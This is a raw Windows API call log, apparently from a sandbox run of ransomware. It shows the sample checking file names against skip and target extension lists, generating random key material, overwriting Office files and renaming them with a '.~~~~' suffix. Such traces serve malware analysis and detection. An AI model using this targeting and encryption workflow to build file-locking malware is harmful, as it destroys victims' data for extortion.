	[0134.338] GetLastError () returned 0x0
	[0134.338] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".scr") returned 0x0
	[0134.338] lstrlenW (lpString=".cmd") returned 4
	[0134.338] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".cmd") returned 0x0
	[0134.338] lstrlenW (lpString=".dll") returned 4
	[0134.338] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".dll") returned 0x0
	[0134.339] lstrlenW (lpString=".bat") returned 4
	[0134.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".bat") returned 0x0
	[0134.339] lstrlenW (lpString=".cpl") returned 4
	[0134.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".cpl") returned 0x0
	[0134.339] lstrlenW (lpString=".sys") returned 4
	[0134.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".sys") returned 0x0
	[0134.339] lstrlenW (lpString=".msc") returned 4
	[0134.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".msc") returned 0x0
	[0134.339] lstrlenW (lpString=".com") returned 4
	[0134.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".com") returned 0x0
	[0134.339] lstrlenW (lpString=".lnk") returned 4
	[0134.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".lnk") returned 0x0
	[0134.339] lstrlenW (lpString=".msp") returned 4
	[0134.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".msp") returned 0x0
	[0134.339] lstrlenW (lpString=".pif") returned 4
	[0134.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".pif") returned 0x0
	[0134.339] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0134.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch="msp\r\n.pif") returned 0x0
	[0134.339] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0134.341] lstrlenW (lpString=".sqb") returned 4
	[0134.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".sqb") returned 0x0
	[0134.341] lstrlenW (lpString=".ost") returned 4
	[0134.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".ost") returned 0x0
	[0134.341] lstrlenW (lpString=".txt") returned 4
	[0134.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".txt") returned 0x0
	[0134.342] lstrlenW (lpString=".mdt") returned 4
	[0134.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".mdt") returned 0x0
	[0134.342] lstrlenW (lpString=".BDB") returned 4
	[0134.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".BDB") returned 0x0
	[0134.342] lstrlenW (lpString=".eql") returned 4
	[0134.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".eql") returned 0x0
	[0134.342] lstrlenW (lpString=".DBF") returned 4
	[0134.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".DBF") returned 0x0
	[0134.342] lstrlenW (lpString=".EQL") returned 4
	[0134.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".EQL") returned 0x0
	[0134.342] lstrlenW (lpString=".FDB") returned 4
	[0134.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".FDB") returned 0x0
	[0134.342] lstrlenW (lpString=".EDB") returned 4
	[0134.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".EDB") returned 0x0
	[0134.342] lstrlenW (lpString=".DACPAC") returned 7
	[0134.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".DACPAC") returned 0x0
	[0134.342] lstrlenW (lpString=".VHD") returned 4
	[0134.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".VHD") returned 0x0
	[0134.342] lstrlenW (lpString=".DBV") returned 4
	[0134.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".DBV") returned 0x0
	[0134.342] lstrlenW (lpString=".dacpac") returned 7
	[0134.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".dacpac") returned 0x0
	[0134.342] lstrlenW (lpString=".sdf") returned 4
	[0134.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".sdf") returned 0x0
	[0134.342] lstrlenW (lpString=".accdb") returned 6
	[0134.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".accdb") returned 0x0
	[0134.343] lstrlenW (lpString=".DBX") returned 4
	[0134.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".DBX") returned 0x0
	[0134.343] lstrlenW (lpString=".MDT") returned 4
	[0134.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".MDT") returned 0x0
	[0134.343] lstrlenW (lpString=".SQB") returned 4
	[0134.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".SQB") returned 0x0
	[0134.343] lstrlenW (lpString=".vhd") returned 4
	[0134.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".vhd") returned 0x0
	[0134.343] lstrlenW (lpString=".bac") returned 4
	[0134.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".bac") returned 0x0
	[0134.343] lstrlenW (lpString=".mdf") returned 4
	[0134.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".mdf") returned 0x0
	[0134.343] lstrlenW (lpString=".BAK") returned 4
	[0134.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".BAK") returned 0x0
	[0134.343] lstrlenW (lpString=".BAC") returned 4
	[0134.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".BAC") returned 0x0
	[0134.343] lstrlenW (lpString=".dbs") returned 4
	[0134.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".dbs") returned 0x0
	[0134.343] lstrlenW (lpString=".vhdx") returned 5
	[0134.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".vhdx") returned 0x0
	[0134.343] lstrlenW (lpString=".NDF") returned 4
	[0134.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".NDF") returned 0x0
	[0134.343] lstrlenW (lpString=".dat") returned 4
	[0134.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".dat") returned 0x0
	[0134.344] lstrlenW (lpString=".DBS") returned 4
	[0134.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".DBS") returned 0x0
	[0134.344] lstrlenW (lpString=".CKP") returned 4
	[0134.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".CKP") returned 0x0
	[0134.344] lstrlenW (lpString=".edb") returned 4
	[0134.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".edb") returned 0x0
	[0134.344] lstrlenW (lpString=".PST") returned 4
	[0134.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".PST") returned 0x0
	[0134.344] lstrlenW (lpString=".dbf") returned 4
	[0134.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".dbf") returned 0x0
	[0134.344] lstrlenW (lpString=".SQL") returned 4
	[0134.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".SQL") returned 0x0
	[0134.344] lstrlenW (lpString=".pst") returned 4
	[0134.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".pst") returned 0x0
	[0134.344] lstrlenW (lpString=".dbv") returned 4
	[0134.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".dbv") returned 0x0
	[0134.344] lstrlenW (lpString=".SDF") returned 4
	[0134.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".SDF") returned 0x0
	[0134.344] lstrlenW (lpString=".dtxs") returned 5
	[0134.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".dtxs") returned 0x0
	[0134.344] lstrlenW (lpString=".db3") returned 4
	[0134.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".db3") returned 0x0
	[0134.344] lstrlenW (lpString=".OST") returned 4
	[0134.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".OST") returned 0x0
	[0134.344] lstrlenW (lpString=".dbx") returned 4
	[0134.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".dbx") returned 0x0
	[0134.345] lstrlenW (lpString=".DB3") returned 4
	[0134.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".DB3") returned 0x0
	[0134.345] lstrlenW (lpString=".DAT") returned 4
	[0134.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".DAT") returned 0x0
	[0134.345] lstrlenW (lpString=".VHDX") returned 5
	[0134.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".VHDX") returned 0x0
	[0134.345] lstrlenW (lpString=".ndf") returned 4
	[0134.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".ndf") returned 0x0
	[0134.345] lstrlenW (lpString=".DB") returned 3
	[0134.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".DB") returned 0x0
	[0134.345] lstrlenW (lpString=".sql") returned 4
	[0134.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".sql") returned 0x0
	[0134.345] lstrlenW (lpString=".MYD") returned 4
	[0134.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".MYD") returned 0x0
	[0134.345] lstrlenW (lpString=".DBT") returned 4
	[0134.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".DBT") returned 0x0
	[0134.345] lstrlenW (lpString=".ACCDB") returned 6
	[0134.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".ACCDB") returned 0x0
	[0134.345] lstrlenW (lpString=".fdb") returned 4
	[0134.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".fdb") returned 0x0
	[0134.345] lstrlenW (lpString=".bak") returned 4
	[0134.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".bak") returned 0x0
	[0134.345] lstrlenW (lpString=".myd") returned 4
	[0134.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".myd") returned 0x0
	[0134.345] lstrlenW (lpString=".DTXS") returned 5
	[0134.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".DTXS") returned 0x0
	[0134.345] lstrlenW (lpString=".ckp") returned 4
	[0134.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".ckp") returned 0x0
	[0134.346] lstrlenW (lpString=".dbt") returned 4
	[0134.346] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".dbt") returned 0x0
	[0134.346] lstrlenW (lpString=".db") returned 3
	[0134.346] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".db") returned 0x0
	[0134.346] lstrlenW (lpString=".TXT") returned 4
	[0134.346] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".TXT") returned 0x0
	[0134.346] lstrlenW (lpString=".MDF") returned 4
	[0134.346] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".MDF") returned 0x0
	[0134.346] lstrlenW (lpString=".bdb") returned 4
	[0134.346] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".bdb") returned 0x0
	[0134.346] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0134.346] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0134.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0134.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0134.346] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0ea0) returned 1
	[0134.347] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0134.347] CryptReleaseContext (hProv=0x3a0ea0, dwFlags=0x0) returned 1
	[0134.347] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0134.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0134.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0134.348] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25433776247) returned 1
	[0134.348] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb98521f0, dwHighDateTime=0x1d60e1e)) 
	[0134.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0134.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0134.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0134.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824e88
	[0134.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0134.348] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824e88 | out: hHeap=0x300000) returned 1
	[0134.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0134.348] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0134.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0134.348] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0134.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4d88
	[0134.349] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0134.349] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0134.349] GetLastError () returned 0x0
	[0134.349] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0134.349] GetLastError () returned 0x0
	[0134.351] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffff33, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.351] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xcd, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0xcd, lpOverlapped=0x0) returned 1
	[0134.351] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0134.351] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0134.351] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0134.351] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0134.351] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0134.352] CloseHandle (hObject=0xc4) returned 1
	[0134.352] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4d88
	[0134.352] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxt.~~~~")) returned 1
	[0134.354] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c4d88 | out: hHeap=0x300000) returned 1
	[0134.355] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0134.355] GetLastError () returned 0x0
	[0134.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".scr") returned 0x0
	[0134.355] lstrlenW (lpString=".cmd") returned 4
	[0134.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".cmd") returned 0x0
	[0134.355] lstrlenW (lpString=".dll") returned 4
	[0134.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".dll") returned 0x0
	[0134.355] lstrlenW (lpString=".bat") returned 4
	[0134.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".bat") returned 0x0
	[0134.355] lstrlenW (lpString=".cpl") returned 4
	[0134.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".cpl") returned 0x0
	[0134.355] lstrlenW (lpString=".sys") returned 4
	[0134.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".sys") returned 0x0
	[0134.355] lstrlenW (lpString=".msc") returned 4
	[0134.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".msc") returned 0x0
	[0134.355] lstrlenW (lpString=".com") returned 4
	[0134.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".com") returned 0x0
	[0134.355] lstrlenW (lpString=".lnk") returned 4
	[0134.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".lnk") returned 0x0
	[0134.355] lstrlenW (lpString=".msp") returned 4
	[0134.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".msp") returned 0x0
	[0134.356] lstrlenW (lpString=".pif") returned 4
	[0134.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".pif") returned 0x0
	[0134.356] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0134.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch="msp\r\n.pif") returned 0x0
	[0134.356] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0134.358] lstrlenW (lpString=".sqb") returned 4
	[0134.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".sqb") returned 0x0
	[0134.358] lstrlenW (lpString=".ost") returned 4
	[0134.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".ost") returned 0x0
	[0134.358] lstrlenW (lpString=".txt") returned 4
	[0134.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".txt") returned 0x0
	[0134.358] lstrlenW (lpString=".mdt") returned 4
	[0134.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".mdt") returned 0x0
	[0134.358] lstrlenW (lpString=".BDB") returned 4
	[0134.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".BDB") returned 0x0
	[0134.358] lstrlenW (lpString=".eql") returned 4
	[0134.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".eql") returned 0x0
	[0134.358] lstrlenW (lpString=".DBF") returned 4
	[0134.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".DBF") returned 0x0
	[0134.359] lstrlenW (lpString=".EQL") returned 4
	[0134.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".EQL") returned 0x0
	[0134.359] lstrlenW (lpString=".FDB") returned 4
	[0134.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".FDB") returned 0x0
	[0134.359] lstrlenW (lpString=".EDB") returned 4
	[0134.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".EDB") returned 0x0
	[0134.359] lstrlenW (lpString=".DACPAC") returned 7
	[0134.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".DACPAC") returned 0x0
	[0134.359] lstrlenW (lpString=".VHD") returned 4
	[0134.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".VHD") returned 0x0
	[0134.359] lstrlenW (lpString=".DBV") returned 4
	[0134.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".DBV") returned 0x0
	[0134.359] lstrlenW (lpString=".dacpac") returned 7
	[0134.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".dacpac") returned 0x0
	[0134.359] lstrlenW (lpString=".sdf") returned 4
	[0134.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK", lpSrch=".sdf") returned 0x0
	[0134.359] lstrlenW (lpString=".accdb") returned 6
